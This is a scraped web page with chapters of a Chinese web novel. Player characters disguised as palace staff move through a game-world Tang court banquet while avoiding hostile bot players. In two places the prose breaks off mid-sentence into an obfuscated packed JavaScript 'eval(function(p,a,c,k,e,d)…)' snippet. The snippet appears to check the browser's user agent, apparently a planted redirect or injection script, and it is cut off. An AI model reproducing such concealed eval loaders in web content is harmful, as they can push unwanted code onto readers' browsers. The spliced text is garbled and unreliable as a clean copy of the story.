“接受现实吧。”曲小蕨弹了弹这鹦鹉的斗笠,“坦白从宽,抗拒从严,你主人的同伙都藏在哪?” 鹦鹉把头往翅膀底下一塞,拒绝合作。 曲小蕨哼了一声,冷酷道:“不说?现在不说,就永远都不要说了!” 行守听她的语气吃了一惊,心说这是要杀鸟?结果就看到曲小蕨恶狠狠地抓了一把粟粒强行掰开鹦鹉嘴填进去,随后直接召唤出天蛛,用蛛丝把它五花大绑起来,还着重关照了一下鸟喙,将它的嘴黏得结结实实。 这会儿,鹦鹉就算是有话也说不出来了。 “电视剧里都是这么演的,在敌明我暗的关键时刻,人质就会突然大喊大叫,暴露我方位置。”曲小蕨拍拍手,满意道,“我们应该吸取教训,防患于未然。” 行守无奈地看了一眼被绑得像个粽子一样的鹦鹉,道:“也好,说正事吧。” 眼看梨园宴举行在即,依然没有找到任何关于“鬼”的线索,大家基本已经放弃在一周目之内通关的想法,转而把重心放到和人机玩家的对抗上来了。 目前,华清宫内已知的五名人机玩家中,云流岚和伏明被唐逐星、纪空山与商陆联手重伤,下落不明;阿攸和柳秋瑟在刺杀安禄山的队伍中,同队还有处境较为危险的祝灵正;最后就是兰瑾,虽然他曾经出现在中区,但多次排查之后却不见影踪。 据龙池乐他们提供的情报来看,这支人机队伍,已经和普通玩家基本上没有什么区别,就算在所有的人机玩家之中也是属于金字塔顶端的存在,心思缜密、手段狠辣,几乎不会放过任何一个能让自己升级的机会。 而马上要举行的梨园宴,恰恰就是这个机会。 ——最关键的剧情点,玩家们一定会想方设法地聚集在一起寻找线索,对人机来说,这是一个分辨玩家和NPC的绝佳时机。 “找不到‘鬼’不要紧,通关不急在这一时。最重要的是不要落单,不要暴露自己的玩家身份。”行守叮嘱道,“就算走在路上看到熟人了,也别急着打招呼。” “好嘞师父。”曲小蕨一口答应,“待会儿我直接去梨园,今天一整天就待在那里了。” 梨园里有付井仪和师襄这两个最强大脑,还有亓秀秀和尹有攸,待在梨园确实是个好选择。运气好的话,说不定晚上还能直接留下来,在梨园宴上混个活干。 曲小蕨虽然看着性子跳脱,但关键时刻也挺机灵的,这一路亦成长不少,足以放心。行守微微颔首,便看她将“鸟质”往袖子里一揣——说是要押送到小付老师那里严刑拷打,迈着宫女们独有的小碎步离开了。 晨旭初照,云开雾散。 辰时,所有换值的侍卫与宫人都已经各自就位,华清宫这个庞大的宫殿群正在按照一贯的规则缓缓运转着。 “往前来,停到旁边去再卸!” 络绎不绝的车队在温汤监管事们的指挥下缓慢地移动着,每走过一段路,立刻便有宫女们手持水瓢与长笤,清扫着牛车在目雷纹石径上留下的尘土和蹄印。 两队金吾卫站在中区的大门之前,负责监督牛车的进出。 “万恶的资本主义。” 柳七刀看着那些宝石珠玉在阳光照射下映出的璀璨光泽,小声吐槽道。 “是封建主义吧。” 沉默片刻后,站在中区宫门前的殷炽也低声道。 两个人都站得笔挺,目不斜视,只有嘴唇微微翕动,气势很足,但实际上看守的工作无聊又乏味,在此之前,柳七刀从来没想过,自己有一天会连金银珠宝都数腻了,泼天的富贵正打眼前经过,他的内心竟然一点波动都没有。 他有点想和殷炽聊天,但是殷炽目视前方,表情冷淡,配合他穿戴的监门卫的服饰,看起来像是刚从影视剧里走出来,很有信念感,让柳七刀情不自禁地感觉,打扰他的工作是一种罪恶。 此刻,对谢不若和祁云纵的想念在柳七刀心中达到了顶峰。第五天再不结束的话,他可能就要被这种小心翼翼维持人设的生活憋疯了。 ——柳七刀不知道的是,殷炽也在等他开口。 玩家们能聚首的机会本来就不多,像他们这样肩并肩站在一起、可以直接交流的情形更是非常稀少,但柳七刀一副若有所思的样子,似乎在思考什么高深的问题,好像并不方便打扰。 殷炽本来就不是会主动寻找话题的那种人,默默地琢磨了一下,觉得柳七刀可能有自己的想法,于是也不说话了。 两个人相对无言地各自站了大概半柱香时间,直到宫苑总监录事裴洛川带着人匆匆路过,并悄悄地往柳七刀手里塞了个纸团。 裴录事临走前给他们留了一个意味不明的眼神,可惜第五天是他们的第一次合作,有些缺乏默契,没人读懂。柳七刀侧过身子,假装整理袖口,悄悄展开纸条看了一眼,愣了一下,下意识地就朝殷炽看了一眼。 “凌雪阁?” 日光大盛,碧空如洗。 巳时,温泉区已经被装点一新,石阶洁净,水面澄澈,偶尔有几片残败桃花飘落在水面,不等波纹漾开,立刻被轻轻拈走。 “这边忙不过来啊,要不要把瓜果园的人调一部分过来?” 卫山河正在检查牛车数量,听到下面人这么来问,闻言立即道:“不,从西区那边调人。” ——他也是今早才知道纪空山的存在的。眼看最重要的时间节点即将来临,每个队伍大概都有着自己的打算,既然他被安排在这个温汤监的位置,理应给其他玩家争取一些便利。 只不过,那姑娘偶尔会给他一种熟悉的感觉,有点像他在第四天里遇到的老玩家唐催寒,无论是行动还是眼神,都充满着我行我素的冷漠感。 但是现在卫山河也顾不上这个了,毕竟再过几个小时,来刺杀安禄山的“玩家”就要进宫了。要知道,经过龙池乐她们的确认,祝灵正就在这支队伍中,而同队的还有阿攸和柳秋瑟这两个人机玩家。 “是。”宫人答应一声就要退下,卫山河想了想,叫住他又道:“人数不够的话,就从六尚局再借调点人过来。宫苑监那边也可以问一声。” 最关键的时刻,大家最好能够聚在一起,以应对接下来的变化。 名贵的沉香木料被宫女们小心翼翼地放入水里,在水雾缭绕中垒成一座座仙山的形状,以银器宝石装点的白香木船被推入临时滑道,往来池中,影影绰绰,宛若仙岛来客。流光溢彩的珍珠宝石像鹅卵石一样成片地被倒进温泉中,随便掬起一捧水,指间反射的都是莹白的玉石光泽。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他话锋一转,道:“我这儿还有个新情报……也许是个坏消息。” 当午日明,万里无云。 午时,太医署内,祁云纵放下把脉的手,连声道:“恢复得不错,已经大好了,就是嗓子还要再养一下,不能多说话。” “是么?真是太好了。”陪李千驰前来问病的同僚喜道,“这样的话,就不必错过今夜的梨园宴了。” “只是可惜李兄不能多言。”另一位同僚摇晃着脑袋叹息道,“梨园宴本是我等大展宏图之机,若是能得陛下青眼,自然再好不过。” 李千驰装模作样地跟着叹了两口气,表达了一下遗憾,趁两位同僚开始畅想晚宴,反手就把满满一碗漆黑的药汁倒进窗边花圃之中。 祁云纵接过空碗,两人交换了一个心照不宣的眼神,在桌下碰了一下拳头。 “你往回走经过司膳局,帮我给龙葵带句话。”祁云纵低声道,“我们队的仇非在金吾卫检查过梨园之后,已经悄悄藏身在废弃阁楼之中了,你让她有空想办法捎点饭去,别饿着非姐。” 李千驰比了个OK的手势,口齿不清道:“可以,到时候让雕兄想办法带。” ——太久没说话,差点忘记怎么说了。 “你也跟其他人说一声,千万别暴露了身份。”他小声对祁云纵道,“我们队方叱羽传来的情报,高力士昨晚连夜带凌雪高手入宫,到时候如果真的在梨园宴上和人机打起来,这些NPC一定会出手,那就很危险了。” 风止树静,炎气渐凉。 未时,永宁公主庄上,用大匹大匹锦绣绸缎和桃花枝装点起来的牛车正要出发。负责随车前往华清宫代表永宁公主赴宴的叶九溪手持礼单,仔细检查过后,翻身上车。 牛车缓缓前进,赶车的正是“让你排吃鸡你排了个啥”队的凌雪飞琼。她面无表情,但细看之下,握着车鞭的手却有着细微的颤抖。车轮碾在青石板路上,发出单调而规律的轱辘辘的响声,一路朝着远处的华清宫驶去。 宫墙之上,整齐的琉璃瓦在午后淡薄而苍白的阳光下闪闪发亮,叶九溪静静地看着越来越近的宫殿群,调整了一下坐姿,对着看守望京门的监门卫露出一个微笑来。 日渐西移,暮色初现。 申时,降圣观内传来扑通、扑通几声轻响,看守们连反应的时间都没有,便已经纷纷软倒在地。片刻后,院门打开,引路的内城太监用尖而细的声音轻声细语道:“诸位大侠,王三金已经在开阳门外候着了,此去务必注意,别暴露了身份。” “费心了。” 领头的唐门弟子略一颔首,便率先踏出了降圣观的山门。 祝灵正跟在他后面,迈开步子时,他还能感觉到身后紧紧跟随的两道视线。 他并没有理会这两道视线,而是微微抬头,看向天际。大约是下午四五点钟的光景,冬天天黑得早,山边已经有了隐约的殷红云霞。 有晚霞,说明明天大概率是个好天气。不过,对于玩家们来说,过了今晚梨园宴,剧情重置,一切又要重新开始,明天天气如何,倒也不算重要。 他侧过脸,看向身边的少林俗家弟子,对方的表情很是沉毅,低声道:“各位,请!” 清脆的笑声伴随着银饰碰撞的叮当声响起,阿攸从祝灵正身边经过,带起一阵微风,走到最前面去了,而柳秋瑟手按刀鞘,不紧不慢地跟在祝灵正身后,甚至还温声回复那少林俗家弟子道:“请。” 她们一前一后,似是不经意间便将其余人围了起来。祝灵正望向阿攸的背影,她脚步轻快,看上去不像是要刺杀安禄山,倒像是要去参加什么有趣的游戏,一副满不在乎的样子。 他抿了一下唇,转眼看向山下的华清宫。也就是在这个瞬间,天色又暗了几分,宫墙之上的灯率先被点亮了,星星点点的灯火彼此连接如长河,一如前夜他坐在窗边与纪湘君共同遥望时般璀璨。 夜色渐沉,华灯初上。 酉时,梨园之中灯火通明,王公贵族来往不绝,欢声一片。成套的长桌已经摆好,端着一盘盘珍馐佳肴的宫女们迈着细碎的步子,成群结队地穿行其中。 乐师台上,身姿窈窕的舞伎们正翩然起舞,乐师们围坐一旁,琴瑟奏鸣,洋洋盈耳,娓娓动听。 “啪”的一声轻响,紧接着,一道不和谐的乐音突兀地炸响起来。 周围的乐师纷纷投来目光,师襄面不改色,道了声歉,指尖轻轻拂过崩断的琴弦,目光却越过宫墙之上,看向渐深渐暗的夜色。 今夜宴会华美,灯光大盛,将山间星光完全倾盖了过去,她的眼睛却乌沉沉的,似乎并没有倒映出半点光亮,脸上也没有半分笑容。乐师们并没有注意到这点异常,在最初的惊讶过后,注意力又纷纷转回到乐曲上。 这梨园之中,轻歌曼舞,觥筹交错,端的是一幅歌舞升平的景象。 39. 第五天·华清宫(三十九) 在乐师台上的曲子换到第三支时,陆陆续续有宫女开始引着赴宴的人入座了。 这场梨园宴,规模宏大,不输以往在博物馆见过的那些夜宴图,甚至要更为夸张奢华。水上汀步连接着座座歌台舞榭,最高最远处,便是玄宗与贵妃所坐的亭台,但此刻亭中尚空无一人,只有从廊檐上垂下的层层轻幔在歌舞之声中随风摇动。 此刻随宫女赴宴的,多是重臣亲眷,位次较为靠后,自然也比较随意。有些怠于欣赏歌舞、又不想坐在席边等待的宾客,便三三两两结伴起来,在水边赏花谈天。 “那是什么?” 闲聊中,不知哪家的小姐抬头望天,好奇道。 她的同伴闻言回头,只看到被璀璨灯火映亮的夜空:“什么?” “好像是只大鸟。”那姑娘眨了眨眼,摇摇头,“没看清,也许是眼花了。” 此刻恰好乐师台上换了新曲子,舞伎们身姿变换,跳起热烈奔放的胡旋舞来,一时间赢得满堂喝彩,她们的注意力也迅速被吸引过去,先前看到的东西立刻被抛之脑后。 嬉笑间,一位司膳局的女官提着一只小篮子,与她们飞快地擦肩而过。 宫墙边花树下的阴影里,疾夜收拢起长而宽的双翼,歪过头,橙黄色的眼睛安静地注视着快步走过来的龙葵,在它身后,仇非刚刚翻过宫墙无声落地,卸去苍云玄甲后,她的动作极其轻盈,从宴席那边的角度来看,只能看到满树桃花微微一晃。 “酉时四刻,司膳局的人入场,梨园宴马上就要开始了。” 分开几日,这时候也顾不上叙旧,龙葵动作麻利地掀开小篮子,拿出上层热好的馅饼递给仇非,又将盛满了肉的食盒推到疾夜面前,低声道:“入场顺序,是六尚局的相关人员先来,安排好后,是妃嫔和各公主夫人的牛车,再然后是重臣高官,最后才是玄宗入宴。” “其他人都到了吗?”仇非问。 “柳七刀在门口站岗,祁云纵也在外面待命。”龙葵说,“谢不若……不知道他去哪了,今天一整天也没见着他的鹦鹉。” 从她这里望过去,恰好可以遥遥地看到坐在一群文绉绉的翰林学士中间浑身不得劲的李千驰,他对面便是不知道在想些什么、一脸严肃的陆厌。再远一点的地方,裴洛川站在入口处,不知道在和什么官员寒暄,而曲小蕨则捧着玉雕酒壶趁热闹走来走去,乍一看很忙,实际上什么都没干。 “看来其他队伍也都到了。”龙葵看着,松了口气,“这第五天的规则也太苛刻了,光是维持人设就很难了,更别提要寻找什么鬼的情报,简直就是强人所难,还好大家都适应得不错。” “也有适应不了的。”仇非吃完饼,擦了擦手,示意龙葵看另一边。 ——乐师台台下,英怀珠柳眉倒竖,正在训斥一个舞伎,身后的七秀弟子均掩嘴而笑,唯有人群中的亓秀秀面露同情之色,而那舞伎垂着头,一副已经全然麻木、生无可恋的样子。 龙葵多看了两眼,从那格外显眼的身材和水袖也遮不住的刺青上判别出被训话者的身份,揉了揉眼睛,想笑又不好意思笑:“呃……还真有人穿女装啊。” 就,蛮惨的。 她们说话间,就听到外面又传来一阵喧嚣,这次是女官来了。她们的入场,代表着这场声势浩大的皇家宴会即将宣告开始,一时间,台下谈天说地的众人脸上笑容都热切了几分。 这些六尚局的女官一到宴,便迅速地检查起桌椅餐具和菜肴来,礼数周全,动作娴熟。在她们身后,宫正提着裙角,面带微笑,款步而来。 李千驰有“风寒”在身,不能饮酒,刚给自己倒了杯茶,抬眼一看这位女官之首,嘴里的茶水喷了三米远,旁边曲小蕨手里的酒壶一滑,差点摔在地上。 陆厌抬手扶额,默默地移开了目光。 正致力于大快朵颐的疾夜抬起头,从喉咙里发出细小的咕咕声,似乎在疑惑身边的两个人为什么突兀地停止了对话。它侧过头,橙黄色的眼睛中映出龙葵抽搐的嘴角和仇非微微颤抖的手。 宫正所到之处,玩家们纷纷石化,偏偏当事人自我感觉良好,一双眼睛在赴宴的众人之间来回打量,寻找着熟悉的面孔,手还不忘优雅地提起宫裙裙摆,如果无视那奇异的妆容、硬朗的线条和充满了违和感的肌肉的话,倒也像模像样。 “鬼斧神工。”沉默良久后,龙葵总结道。 她深呼吸,抹了把脸,看疾夜也吃完了,便将食盒收进提篮中,对仇非说:“那我先过去前面了,非姐,你也多当心,别被人发现。” “放心。”仇非道,“这里见过我的脸的人应该不多,再不济还有头套。” 她目送龙葵再度走回明亮的灯光下,整个喧闹的宴会中,一名司膳的来去并不惹眼,倒是正在寻找熟人的谢不若一眼就看见了她,兰花指提着裙摆,“摇曳生姿”地走了过来。 “……”仇非看着龙葵身形一僵,一个急刹车,转头就走去了另外一边。 她无声地叹了口气,心里也不知道是好气还是好笑,这时外面又有响动传来,恰是如龙葵所说的那样,妃嫔的车驾到了。牛车均停在梨园之外,有宫人迎上去,将这些天家贵女小心翼翼地引进门来,接到各自的座位上去。这些妃嫔的姿容不必说,走动之间更是香风阵阵,一颦一笑,均是风华雅致,珠辉玉丽。 紧接着妃嫔,便是公主入席。唐玄宗一生多女,不是所有公主都在华清宫附近有居所,但更多公主即使是住在长安城中,也要赶来赴这场梨园盛宴,唯独永宁公主除外——宫人唱过礼单,便解释永宁公主突感不适,庄上只来了公主家令。 被赋予重任的公主家令叶九溪镇定地一一向周围人见过礼,落座。梨园亭台错落,天家的坐席位置要稍高一些,他没怎么费工夫,就在人群中找到了李千驰和亓秀秀。他挪开视线,扫了眼在入口处守着牛车、看似发呆的飞琼,以眼神示意。 虽然也算是小别重逢,但几人心里确实谈不上轻松。他们的心情,大概比在场的队伍都要更为复杂一些。 一晃神之间,宫人又齐齐唱喏。这次的排场更加声势浩大,原是虢国夫人的车驾姗姗来迟。因杨贵妃的关系,虢国夫人亦得盛宠,在宫人引路下,径直翩翩然入了座,在场众人皆见她权势骄横,她本人却并不在意。 另一边,职位稍次一等的官员也皆按列入座,其中便有付井仪。相较于贵女们,这边引起的关注就近似于无了,谢不若在席间四处游走检视,恰好转到这里,趁机过来接个头。 “好气派啊。”他摸着下巴道,敷的粉都在手指上落了薄薄一层,“不愧是历史课本里有的人物。” “她们牛车上那桃花枝,还是我拿糯米胶黏的。” 跟着付井仪过来的曲小蕨小声吐槽道。 谢不若眼睛一转,问她:“我与夫人公主孰美?” 曲小蕨一噎,指了指身后的水面:“自己去照。” “不必了,我心里当然有数。”谢不若露出一个完全没数的笑容,轻移莲步,以天人共愤之姿去祸害坐在另一端的卫山河了,曲小蕨看着,就在心里为卫山河默哀了三秒:“不是我说,尹有攸的脸皮就是太薄了,做人还得是自信一点好。” 她也没指望付井仪能应和她,转眼一看,却发现他虽然坐得端正,但目光并无焦点,显然没在听她说话,不由好奇道:“小付老师,你想什么呢?” 付井仪淡淡道:“删好友。” “啊?” 曲小蕨傻眼,“不至于吧?” 付井仪刚要答话,垂在桌面的袖子忽然无风自动,弹跳起来。他反应很快,一把攥住袖口,将手背到身后。 曲小蕨也看到了,却没有太奇怪,毕竟袖子里那东西还是她亲手塞给付井仪的——人机玩家云流岚的那只倔鹦鹉。 这只鹦鹉虽然头铁嘴硬,但还算安分,现在突然扑腾起来,很大可能是主人来到了附近。曲小蕨本来都被晚宴这种华侈奢靡的氛围搞得有几分懈怠了,此刻顿时一个激灵,开始警醒地打量四周。 付井仪的表情依旧没什么变化,低声问她:“行守在哪?” “藏在院墙后面了。”曲小蕨也小声道。 这种关键时刻,师父怎么可能在功德院干待着,当然是一并奔赴前线。 二人低声交流几句,曲小蕨便放下手中的酒壶,穿过人群,蹑手蹑脚地朝没人注意、灯光也昏暗的墙根走去。 这一幕被坐在宫墙墙檐上的人远远收入眼底,道:“看来他们也有自己的安排。” “只要和我们没有冲突,那就无所谓。” 纪空山低头整理自己的袖口,温汤监的宫服已经被她换掉了,此时穿着的是一身行动便捷的劲装。她紧了紧手腕处的绑带,问:“联系上飞琼了么?” 她旁边的人正是商陆,闻言点头道:“已经通知她了。玄宗和贵妃一走,就动手。” “开阳门是谁在守?” “阿乐。”商陆回答,表情有几分犹豫。 他几度欲言又止,最后还是忍不住道: “空山,华清宫人多眼杂,被NPC看到的可能性太高了,上次是我们运气好,今晚……” 纪空山垂下眼睛,有些怔怔地看着脚下的灯火,半晌,很轻地叹了口气。 “我说了,那些害死我弟弟的人机,我一个也不会放过。你要是害怕,到时候尽管走就是了。” “我不是这个意思。”商陆一愣,立刻道,“我是想说,梨园宴不是我们唯一的机会,你其实可以选择更稳妥的做法。” 他想了想,补充:“人机就算被杀死了,只要当天结束回客栈也能复活,为了他们赌上自己的性命,实在是不值得。” “……”纪空山低低地笑了两声,“确实不值。” 她看着那协律郎打扮的玩家状若无意地松开了袖口,一只鹦鹉从里面滚落下来,挣扎着甩脱翅膀上的蛛丝,跌跌撞撞迈开两条短腿,顺着墙根连滚带飞地扑腾着远去。而墙的另一面,一个隐在暗处的人透过镂空雕花小窗捕捉到这一幕,亦身形一动,不远不近地跟上了那只鹦鹉。 “那我也过去了。”她站起身,道。 就在她要跃下宫墙时,商陆忽然喊住了她。 纪空山抬眼看他。 “湘君对我们来说,也是家人一样的存在。”商陆注视着纪空山的眼睛,轻声说道,“我,阿乐,飞琼,我们都是这样想的,和你一样,也恨不得立刻为他报仇。在这件事上,我从来都没有犹豫过,我只是……” 只是不想再失去队友了。 他没说出这句话,但纪空山已经读懂了他的言外之意,朝他微微地点了点头。有一瞬间,她看起来还想说什么,最后却什么也没说,只是径直跳下了宫墙,身形隐入了灯光照不亮的阴影之中。 与此同时,一辆与众不同的牛车,在梨园外停了下来。随着这辆牛车的抵达,连乐师台上的乐曲都低沉了几分。 “终于来了。” 不少赴宴者心里都暗暗想着,便看宫人涌上去,毕恭毕敬地将牛车上下来的人请到院内,引入上首亭中、贵妃身侧,甚至和公主夫人们齐平的首位。再看来人,肩披乌裘,身形高大健硕,竟是比身边宫人都要堪堪高上几头,膀阔腰圆,高鼻深目,正是三镇节度使,日后一手造成大乱的安禄山。 “老三来了。”刚入座的裴洛川用口型道。 陆厌:“来了就来了呗。” 和一些被安禄山气势所迫、别过头去的小官员不同,他们这些玩家对安禄山可谓是一点敬畏之心也没有,甚至看到他就烦,毕竟无论五人、十人还是二十五人本里,大家都是实打实殴打过这个NPC的,也就是剧情限制打不死,不然安史之乱早就提前结束了。 似乎就是在等待安禄山的到来一般,几乎是同时,由无数宫灯组成的蜿蜒长河缓缓由中区流淌向梨园,天子玉舆在扈从簇拥之中,停在了梨园门口。 乐师台上曲声乍停,宫人们高声唱喏,包括虢国夫人与安禄山在内的大小官员均下座行礼。 龙颜不可直视,众人垂手低头,玩家们趁机有样学样,跟着用深蹲糊弄过去。 直到玄宗携杨贵妃不紧不慢地落了座,宫人们再次唱喏,其余人才得以起身。陆厌眯起眼,发现皇帝与贵妃单独的小亭子已经被帷幔遮挡起来,除了紧邻着的座位,根本看不清楚内里。从天子的位置到普通小官员的坐席,明明是同一场宴席,却几乎像两个完全不同的世界。 “好排场啊。” 门口,飞琼轻哼了一声。 她的身份是跟着叶九溪的帮手,进不去梨园宴,便在这里看守牛车。 殷炽也在这边候命,闻言看了她一眼,不知道该不该有所反应。 虽然叶九溪来的时候简短地介绍过,这姑娘也是第五支玩家队伍的成员,甚至也是凌雪,但他总直觉他们不太一样。和他们这些暗自等待剧情发展、寻找线索的玩家不同,飞琼似乎也在等着什么,或者说,在筹谋着什么。 这种筹谋,和他们无关,针对的只是人机,殷炽大概知道。既然彼此之间没有冲突,他也并不是很在意她的动向,只是有些微微的疑惑。 在今晚之前,飞琼明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太医署起火,已经是几刻钟之前的事了。因为梨园宴的举行,今晚华清宫内的大部分人都聚集在东区,其他地方就稍显冷清。等到巡逻的宫人发现太医署走水时,小半间屋子都已经着了,还好行宫内的防火措施做得不错,很快,小队金吾卫便赶到现场,将火扑灭。 北方冬季本来就天干物燥,即使是长安城内也时有火灾发生,并不稀奇。因为无人受伤,损失也不大,故而这件事并没有惊动太多人,只是有人过来通知了太医署的人一声,要他们检查一下有无损失。 祁云纵本来在梨园宴外候命,听到这个消息,直觉不对,特地回去看了一眼。 着火的屋子是存放成药的那一间,半边都被熏黑了,屋里的柜架桌椅被烧毁大半。烧得最厉害的角落只剩了一堆黑灰,其中埋着零星的碎瓷片,祁云纵记得那里本来放着一口赤漆铜平脱药柜。 他指着那角落问同僚:“那柜子原来装的是什么来着?我都忘了。” 同僚看了一眼,惋惜道;“玉红膏、金疮药、乌药散,这柜子里放的全是伤药,药效都是一等一的好,真可惜了。” 祁云纵道了声好,又屋里屋外地转了转,看看也没剩下多少线索,便回了梨园。 听到这里,仇非心里就有数了。昨晚在宫外,云流岚和伏明都受了伤,想来是他们本身的回复技能已经不足以恢复伤势,必须通过外药来进行治疗。剧情还在缓慢地发展,梨园宴结束还早,五毒阿攸和霸刀柳秋瑟所在的“大战玩家”目前还没进宫,能做出这种事的,想必只能是兰瑾了。 祁云纵还蹲在那等待他非姐给出高见,没想到下一秒整个人被往树丛里一按,一屁股坐在雕兄旁边。 “你在这盯着点儿,我去看看。”仇非道,“有事找龙葵和谢不若,拿不准的跟付井仪商量。” 祁云纵拒绝坐冷板凳:“我也想去。” “你跑得慢。”仇非冷酷道。 祁云纵嘴里小声嘀咕着刻板印象,还是老老实实地和雕兄交流感情去了。 另一边,乐师台下,英怀珠训完了人,泄气道:“算了,你回屋待着吧。” 这样的盛宴上失去出场机会,对一个舞伎来说无异于天大的打击,众舞者顿时纷纷向尹有攸行注目礼,惋惜者有之,幸灾乐祸者亦有之。 尹有攸好像完全注意不到这些目光一样,迫不及待地向英怀珠行了个僵硬的礼,便往安静的后院走去。 “零分。”谢不若远远地看着,拇指和食指拈着手里的绢花团扇,掩唇而笑。 龙葵心情复杂地看着他,心想你俩也就半斤八两吧。 从尹有攸大步流星的动作上可以看出,他是真的很想赶紧逃离现场了。四处转悠的曲小蕨看他穿过宴席、红着耳朵走得飞快,憋笑都快憋出内伤,赶紧移开目光,给身边的李千驰倒茶。 哒、哒、哒。 付井仪的手指轻叩了三下桌面,那是非常细微的声音,几乎没有引起任何人的注意,但已经走远的尹有攸却放慢了脚步。 “跟上仇非,以备不时之需。”付井仪没有回头,只是将手中茶杯靠近嘴边,道。 尹有攸脚步一转,就要往外走。 付井仪:“……先把衣服换了。” 转眼打量晚宴现场,除了天子所在区域有序而安谧外,其余席位都是热热闹闹、一团乱麻,人员流动速度极快,想要掌握全局即时动态几乎是一件不可能的事情,他感觉有些头疼,不禁叹了口气。 眼看仇非和换了身普通衣服的尹有攸前后脚翻墙出去了,付井仪收回目光,看了一眼座旁的漏刻。 夜渐深了,想来不久之后,大战本的剧情便要开始了。 他正想着,上首忽然有人拍了两下掌,这似乎是什么约定俗成的规矩,很快,乱哄哄的晚宴就安静下来,从唐玄宗所在的亭台中传来说话的声音,随后由几个太监一轮一轮地将天子原话吆喝下来,付井仪听了一耳朵,大意便是让众爱卿吃好玩好,不必拘束。 传完话后,忽然有宫人上前,动作熟练地整理出一小片空地来,将粗绳网围成一个面积不算太大的圈。片刻后,柳七刀面色复杂,提着两只竹筐闪亮登场。 “?” 众玩家齐齐投来疑惑的目光,便看到柳七刀抬腿跨进圈里,将两只竹筐放在地上拍了几下,一阵翅膀扑扇之声顿时响起,两只金冠彩羽的雄鸡从竹筐里跃出来,伸长脖子、斗志昂扬地落在了圈内。 这两只斗鸡气势十足,一派凶狠的样子,柳七刀放出它们之后,便立刻回身迈出绳圈,四处张望,准备找地方坐。 离得比较近的卫山河清清楚楚地看到他背后沾了不少鸡毛,眼皮一跳:“……” 40. 第五天·华清宫(四十) 随着斗鸡出笼,两名内侍上前,将玄宗与贵妃所在亭台正面的帷幔挑开。 代表斗鸡场的粗绳网一拉好,梨园宴的坐席就从中间被分开了。曲小蕨被划在另外半边,刚想抬脚去找付井仪,却看见一群内侍排众而出,立于空地边缘,显然是防止有人随意穿行、影响斗鸡。 而这帷幔一掀,就代表玄宗和贵妃也在望下来,顿时,这梨园宴的气氛又是一变,眨眼之间就不复先前的轻松随意,连谢不若所带的六尚局都只能站到一边,失去了继续在玩家的坐席间穿梭的机会。 眼看两只金冠大公鸡已经啄到一起逞凶斗狠,叶九溪趁机想对李千驰做几个口型,然而嘴刚一张,旁边的内侍就笑眯眯地看过来,小声问:“大人有什么事?” “没事。”叶九溪道。 玄宗亭下一个不起眼的角落里,方叱羽默默地捏了一把冷汗。 底下的队友们可能听不到,但他听得清清楚楚,刚刚贵妃柔声对玄宗说她乏了,看完斗鸡就想回去,而玄宗自然是点头应允。许是想到安禄山一路奔波也是辛苦,他便也对安禄山嘱咐道,等他与贵妃回宫后,去芙蓉湖泡一泡温泉。 好一副君臣情深之景,但听在方叱羽耳朵里,无异于剧情开始的信号。 只是他身边也站了好几名内侍,亭台的阶梯下面还有两队千牛卫,周围密密麻麻,全是眼睛和耳朵,他根本没办法做出什么与人设不相符的事情。 没想到NPC们的警惕性会突然提高,这个小变故出乎意料,玩家们遥遥相望,都从彼此的眼中看到了谨慎。 场内,斗鸡正到了精彩之处,眼见一只雄鸡凌空飞扑,不少人喝起彩来:“好!” 翰林学士的坐席上,李千驰正兴致缺缺地摆弄着手里的茶杯。听说玄宗既喜欢斗鸡,又喜欢舞马,不知道为什么不弄个舞马宴,也好过现在无聊。他这么想着,无意间看了旁边同僚一眼,却看见那个人双颊微红,似是紧张,又或激动。 李千驰一愣,直觉他没憋什么好屁,坐直了身子。 果然,那位同僚突然站起身来,提高音量,大声向诸位文官提议道:“诸位,盛筵难得,不如我们来行酒令,便以这‘鸡’为题目,一人一句、能者续之,直至成诗,如何?” 李千驰两眼一黑,鸡?作诗? 曲小蕨就在他旁边,以蚊子振翅般的声音哼唧道:“鸡鸡复鸡鸡,木兰当户织。” 另一边,付井仪默默地将一张古琴抱上了桌子。 “大人这是要做什么?”内侍微笑着问。 “有感于此盛会,突发奇想,记下音律。”付井仪不紧不慢道。玄宗与贵妃都酷爱音乐,而他的官职又是协律郎,他有把握,这不会被判定为OOC。果然,那内侍笑容不变,低头称是。 先前那位提议行酒令的翰林学士转头就问李千驰:“李兄,你的身体可大好了?” 真是瞌睡来了有人送枕头,李千驰大喜,立刻发出一阵惊天动地的咳嗽,艰难道:“其实我——” 他才刚咳了一半,耳畔突然传来一声弦响,随后身体竟然渐渐地失去了控制,分明听到自己的声音在说:“其实我已经大好了,不必挂念。” 随后,对身体的控制权又回来了,那感觉就如同从一场清明梦中猛然惊醒一样,李千驰一愣,转头向对面看去。 谁平沙我啊! 付井仪毫无反应,面不改色,似乎在专心钻研音律。 就这么一小会儿工夫,行酒令已经开始了。诸位文臣,有笑着摇手饮酒的,也有起身自信吟诗的。好在他们这个行酒令形式很是随意,正如那位提议的同僚所说,“能者续之”,似乎也没强迫人一定要参与。 又是新一轮,这次,是李千驰身边的另一位同僚站起身,不好意思地笑了笑:“诸位都知道,我所擅者乃词赋,实在不擅长作诗,就在此抛砖引玉了。” “夜落骊宫昼已暮。”他道。 李千驰本来想装没听见,结果对面琴声一响,他直接一个弹跳起步,从座椅上蹦了起来:“我续两句。” 付井仪通过李千驰之口,缓缓道: “开宴玄都月方明。阳歊都尉意无惮——” 没想到蔫了一晚上的人突然积极,先前提议的同僚一愣,接道:“司晨将军气有雄。” 阳歊都尉对司晨将军,在这两句诗里,指的都是鸡的意思。 他这边接出来了,李千驰还没坐下。 “门上荼郁愁日短。” 又有人续道:“台中双羽啼夜清。” 李千驰坐下了,心里有些奇怪,不知道付井仪想干什么。 在梨园宴上出风头,可以,但没必要。 